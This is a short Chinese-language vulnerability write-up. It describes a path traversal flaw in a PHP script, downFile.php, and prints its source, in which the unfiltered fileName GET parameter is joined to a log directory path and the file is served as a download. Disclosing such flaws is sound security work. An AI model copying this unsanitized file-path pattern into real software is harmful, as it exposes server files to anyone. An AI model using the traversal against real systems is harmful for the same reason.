漏洞复现

漏洞文件为 downFile.php, 其中 参数 fileName 没有过滤危险字符，导致可文件遍历下载

<?php
$file_name=$_GET['fileName'];
$file_dir = "../../../log/";
if   (!file_exists($file_dir.$file_name))   {   //检查文件是否存在  
  echo'<script> alert("文件不存在!");window.history.back(-1);</script>'; 
  exit();

}else{    
    $file = fopen($file_dir . $file_name,"r"); // 打开文件
    // 输入文件标签
    Header("Content-type: application/octet-stream");
    Header("Accept-Ranges: bytes");
    Header("Accept-Length: ".filesize($file_dir . $file_name));
    Header("Content-Disposition: attachment; filename=" . $file_name);
    // 输出文件内容
    echo fread($file,filesize($file_dir.$file_name));
    fclose($file);
    exit();
}
?>
